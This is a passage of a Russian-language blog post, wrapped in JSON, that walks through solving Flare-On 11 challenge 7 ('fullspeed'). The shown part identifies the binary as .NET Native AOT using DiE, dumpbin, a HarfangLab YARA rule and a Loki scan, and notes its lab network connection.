{"id":466569,"date":"2025-07-09T15:00:23","date_gmt":"2025-07-09T15:00:23","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=466569"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=466569","title":{"rendered":"<span>Flare-On 11: Task 7 (2024) \u2013 \u0410\u043d\u0430\u043b\u0438\u0437 \u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0437\u043b\u043e\u043c<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h2>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435<\/h2>\n<p>\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442! \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0442\u0435\u043b \u0431\u044b \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u0432\u043e\u0438\u043c \u043f\u043e\u0434\u0445\u043e\u0434\u043e\u043c \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0441\u0435\u0434\u044c\u043c\u043e\u0433\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f (<strong>fullspeed<\/strong>) \u0438\u0437 <strong>CTF<\/strong> <strong>Flare-On 11 2024<\/strong>. \u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u044f \u043d\u0435 \u0443\u0441\u043f\u0435\u043b \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0435\u0433\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u0437\u0430\u0434\u0430\u043d\u0438\u044e \u043e\u0441\u0442\u0430\u043b\u0441\u044f, \u0438 \u044f \u0440\u0435\u0448\u0438\u043b \u0434\u043e\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u0447\u0430\u0442\u043e\u0435 \u0434\u043e \u043a\u043e\u043d\u0446\u0430 \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445.<\/p>\n<p>\u041f\u0440\u0438 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u2013 \u043a\u0430\u043a \u043e\u0442 \u0441\u0430\u043c\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u044b <a href=\"https:\/\/services.google.com\/fh\/files\/misc\/flare-on11-challenge7-fullspeed.pdf\" rel=\"noopener noreferrer nofollow\">Flare Team<\/a>, \u0442\u0430\u043a \u0438 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u043e\u0432 (<a href=\"https:\/\/github.com\/Salt-Mc\/Flare-On\/tree\/main\/FlareOn11\/Ch07\" rel=\"noopener noreferrer nofollow\">Salt-Mc<\/a>, <a href=\"https:\/\/0xdf.gitlab.io\/flare-on-2024\/fullspeed\" rel=\"noopener noreferrer nofollow\">0xdf<\/a>, <a href=\"https:\/\/digitalwhisper.co.il\/files\/Zines\/0xA8\/DigitalWhisper168.pdf\" rel=\"noopener noreferrer nofollow\">digitalwhisper<\/a>, <a href=\"https:\/\/hshrzd.wordpress.com\/2024\/12\/09\/flare-on-11-task-7\/\" rel=\"noopener noreferrer nofollow\">hasherezade<\/a>,  <a href=\"https:\/\/blog.omroot.io\/flareon11-challenge-7-fullspeed\/\" rel=\"noopener noreferrer nofollow\">Yousuf Alhajri<\/a>, <a href=\"https:\/\/gmo-cybersecurity.com\/blog\/flare-on-11-write-up\/\" rel=\"noopener noreferrer nofollow\">SuperFashi<\/a>) \u044f \u0437\u0430\u043c\u0435\u0442\u0438\u043b, \u0447\u0442\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0430\u0441\u043f\u0435\u043a\u0442\u044b, \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435.<br \/> \u041d\u0430 \u044d\u0442\u043e\u0439 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u0438\u0434\u0435\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043d\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u0435, \u043f\u043e\u044d\u0442\u0430\u043f\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u043d\u0430\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <a href=\"https:\/\/github.com\/maxgpt03\/flareon\/blob\/main\/2024\/task7\/src\/client\/main_client.cs\" rel=\"noopener noreferrer nofollow\"><strong>fullspeed.exe<\/strong><\/a>.<\/p>\n<h2>\u0417\u0430\u0434\u0430\u043d\u0438\u0435<\/h2>\n<p>\u0422\u0435\u043a\u0441\u0442 \u0437\u0430\u0434\u0430\u043d\u0438\u044f:<\/p>\n<pre><code>Has this all been far too easy? Where's the math? Where's the science? Where's the, I don't know.... cryptography? Well we don't know about any of that, but here is a little .NET binary to chew on while you discuss career changes with your life coach. <\/code><\/pre>\n<p>\u0412 \u043f\u0440\u0438\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u043c \u0430\u0440\u0445\u0438\u0432\u0435 <strong>fullspeed.7z<\/strong> \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p align=\"left\">\u0418\u043c\u044f \u0444\u0430\u0439\u043b\u0430<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0420\u0430\u0437\u043c\u0435\u0440, \u0431\u0430\u0439\u0442<\/p>\n<\/th>\n<th>\n<p align=\"left\">\u0425\u0435\u0448 \u0441\u0443\u043c\u043c\u0443, SHA1<\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">capture.pcapng<\/p>\n<\/td>\n<td>\n<p align=\"left\">4660<\/p>\n<\/td>\n<td>\n<p align=\"left\">FDB8BBA0C73729A014B703234487FAB3E1BE635D<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">fullspeed.exe<\/p>\n<\/td>\n<td>\n<p align=\"left\">2031616<\/p>\n<\/td>\n<td>\n<p align=\"left\">168F972965A3809B20D22900E0FD75BC871F09B0<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0444\u0430\u0439\u043b\u0430\u0445<\/h2>\n<h3>capture.pcapng<\/h3>\n<p>\u0424\u0430\u0439\u043b <strong>capture.pcapng<\/strong> \u2013 \u044d\u0442\u043e \u0434\u0430\u043c\u043f \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430. \u0412 \u043d\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043e\u0434\u043d\u0430 \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f (40 \u043f\u0430\u043a\u0435\u0442\u043e\u0432), \u043c\u0435\u0436\u0434\u0443 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c <strong>192.168.56.101<\/strong> \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c <strong>192.168.56.103<\/strong>. \u0421\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 <strong>TCP<\/strong>, \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u043c\u044b\u0439 \u043f\u043e\u0440\u0442 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 <strong>31337<\/strong>.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/uk\/ep\/_c\/ukep_ckm7twupmmsbze6j3rp7jm.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0424\u0430\u0439\u043b capture.pcapng\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/uk\/ep\/_c\/ukep_ckm7twupmmsbze6j3rp7jm.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/uk\/ep\/_c\/ukep_ckm7twupmmsbze6j3rp7jm.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0424\u0430\u0439\u043b <strong>capture.pcapng<\/strong><\/figcaption><\/div>\n<\/figure>\n<h3>fullspeed.exe<\/h3>\n<p><strong>fullspeed.exe<\/strong> \u2013 \u044d\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b. \u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/horsicq\/Detect-It-Easy\" rel=\"noopener noreferrer nofollow\">DiE (Detect It Easy)<\/a> \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0435\u0433\u043e \u0441\u0431\u043e\u0440\u043a\u0435:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/uk\/nj\/ob\/uknjobouxf0kbra1rqtp9k34qyu.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0444\u0430\u0439\u043b\u0435 fullspeed.exe\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/uk\/nj\/ob\/uknjobouxf0kbra1rqtp9k34qyu.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/uk\/nj\/ob\/uknjobouxf0kbra1rqtp9k34qyu.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u0444\u0430\u0439\u043b\u0435 <strong>fullspeed.exe<\/strong><\/figcaption><\/div>\n<\/figure>\n<pre><code>\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430: Windows(Vista)[AMD64, 64-\u0431\u0438\u0442\u043d\u044b\u0439, \u041a\u043e\u043d\u0441\u043e\u043b\u044c] \u041b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a: Microsoft Linker(14.36.33811) \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440: Microsoft Visual C\/C++(19.36.33731)[C++] \u042f\u0437\u044b\u043a: C++ \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430: .NET Core(v6.0)[AOT] \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442: Visual Studio(2022, v17.6) <\/code><\/pre>\n<p>\u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0443 <strong>.NET Core(v6.0)[AOT]<\/strong> \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f <strong>Ahead-of-Time<\/strong> \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 (<strong>.NET Native AOT<\/strong>), \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043a\u043e\u0434 \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b, \u0430 <strong>Just-In-Time<\/strong> \u0438 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432 \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f.<br \/> \u0412\u044b\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u043c\u0438 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f:<\/p>\n<ul>\n<li>\n<p>\u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0435\u043a\u0446\u0438\u0438 <strong>.managed<\/strong> \u2013 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043a\u043e\u0434, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u043c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438, \u0433\u0434\u0435 \u043f\u0430\u043c\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0431\u043e\u0440\u0449\u0438\u043a\u043e\u043c \u043c\u0443\u0441\u043e\u0440\u0430;<\/p>\n<\/li>\n<li>\n<p>\u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0435\u043a\u0446\u0438\u0438 <strong>hydrated<\/strong> \u2013 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0435, \u0441\u0441\u044b\u043b\u043a\u0438, \u0440\u0435\u0441\u0443\u0440\u0441\u044b);<\/p>\n<\/li>\n<li>\n<p>\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <strong>DotNetRuntimeDebugHeader<\/strong>.<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u0432\u044b\u0432\u043e\u0434\u0430 \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>dumpbin.exe<\/strong>:<\/p>\n<pre><code>dumpbin.exe fullspeed.exe Microsoft (R) COFF\/PE Dumper Version 14.43.34808.0 Copyright (C) Microsoft Corporation.  All rights reserved. Dump of file fullspeed.exe File Type: EXECUTABLE IMAGE   Summary:     10000 .data     D2000 .managed 12000 .pdata A6000 .rdata 1000 .reloc     1000 .rsrc     66000 .text     59000 hydrated <\/code><\/pre>\n<p>\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u043e AOT \u043c\u043e\u0436\u043d\u043e \u0432 \u0441\u0442\u0430\u0442\u044c\u044f\u0445 <strong>Michal Strehovsky<\/strong> <a href=\"https:\/\/migeel.sk\/blog\/2023\/09\/15\/reverse-engineering-natively-compiled-dotnet-apps\/\" rel=\"noopener noreferrer nofollow\">Reverse engineering natively-compiled .NET apps<\/a> \u0438 <strong>HarfangLab<\/strong> <a href=\"https:\/\/harfanglab.io\/insidethelab\/reverse-engineering-ida-pro-aot-net\/\" rel=\"noopener noreferrer nofollow\">An introduction to reverse engineering .NET AOT applications<\/a>.<\/p>\n<p>\u0414\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 AOT-\u0444\u0430\u0439\u043b\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <strong>YARA-\u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c<\/strong> \u0438\u0437 \u0441\u0442\u0430\u0442\u044c\u0438 <strong>HarfangLab<\/strong>:<\/p>\n<pre><code>import \"pe\" rule NET_AOT { meta: description = \"Detects .NET binaries compiled ahead of time (AOT)\" author = \"HarfangLab\" distribution = \"TLP:WHITE\" version = \"1.0\" last_modified = \"2024-01-08\" hash = \"5b922fc7e8d308a15631650549bdb00c\" condition: pe.is_pe and pe.number_of_exports == 1 and pe.exports(\"DotNetRuntimeDebugHeader\") and pe.section_index(\".managed\") &gt;= 0 } <\/code><\/pre>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ep\/lm\/lp\/eplmlpiq4hui8lnvjtge8mkpxwu.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u044b Loki\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ep\/lm\/lp\/eplmlpiq4hui8lnvjtge8mkpxwu.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ep\/lm\/lp\/eplmlpiq4hui8lnvjtge8mkpxwu.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u044b <strong>Loki<\/strong><\/figcaption><\/div>\n<\/figure>\n<pre><code>FILE: fullspeed.exe SCORE: 70 TYPE: EXE SIZE: 2031616 FIRST_BYTES: 4d5a90000300000004000000ffff0000b8000000 \/ &lt;filter object at 0x0000022BA31A7D60&gt; MD5: 32df29c32770ae4c5b2814ecc589a003 SHA1: 168f972965a3809b20d22900e0fd75bc871f09b0 SHA256: 01b6d660cf72bf04cf75f7cbb4ffaffa7e2a44a48a82d3da50bbb56fe634c69e REASON_1: Yara Rule MATCH: NET_AOT SUBSCORE: 70 DESCRIPTION: Detects .NET binaries compiled ahead of time (AOT) REF: - AUTHOR: HarfangLab <\/code><\/pre>\n<h2>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 fullspeed.exe<\/h2>\n<p>\u041f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0433\u043d\u043e\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0438\u0445 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u044f. \u041a\u043e\u043c\u0431\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u043e\u0434\u043e\u043b\u0435\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043d\u044b\u0435 \u044d\u0442\u0430\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0444\u0430\u0439\u043b\u0430.<\/p>\n<p>\u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 fullspeed.exe \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c TCP-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0441 \u0445\u043e\u0441\u0442\u043e\u043c 192.168.56.103 \u043d\u0430 \u043f\u043e\u0440\u0442 31337.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/q9\/oa\/ej\/q9oaejbachceeqeiqwzpdcf5usc.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\" \u0417\u0430\u043f\u0443\u0441\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 fullspeed.exe\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/q9\/oa\/ej\/q9oaejbachceeqeiqwzpdcf5usc.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/q9\/oa\/ej\/q9oaejbachceeqeiqwzpdcf5usc.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0417\u0430\u043f\u0443\u0441\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 <strong>fullspeed.exe<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 fullspeed.exe \u0432 <strong>IDA<\/strong> \u0432\u044b\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0440\u044f\u0434\u043a\u0430 6000 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u0411\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u0442\u0435\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 <strong>AOT-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438<\/strong> \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 .NET \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0439 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434, \u043d\u043e \u0438 \u0432\u0441\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b \u0441\u0440\u0435\u0434\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0438 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0432 \u0432\u0438\u0434\u0435 \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<p>\u041f\u0440\u0438 \u043f\u0435\u0440\u0432\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 IDA \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0435 <strong>Windows<\/strong> <strong>API-\u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/strong>, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0438\u043c\u043f\u043e\u0440\u0442\u0430.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ws\/g-\/bh\/wsg-bhpkb39jfiq3uunhvks7as4.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\" \u041e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0444\u0430\u0439\u043b\u0430 fullspeed.exe \u0432 IDA\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ws\/g-\/bh\/wsg-bhpkb39jfiq3uunhvks7as4.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ws\/g-\/bh\/wsg-bhpkb39jfiq3uunhvks7as4.png 781w\" loading=\"lazy\" 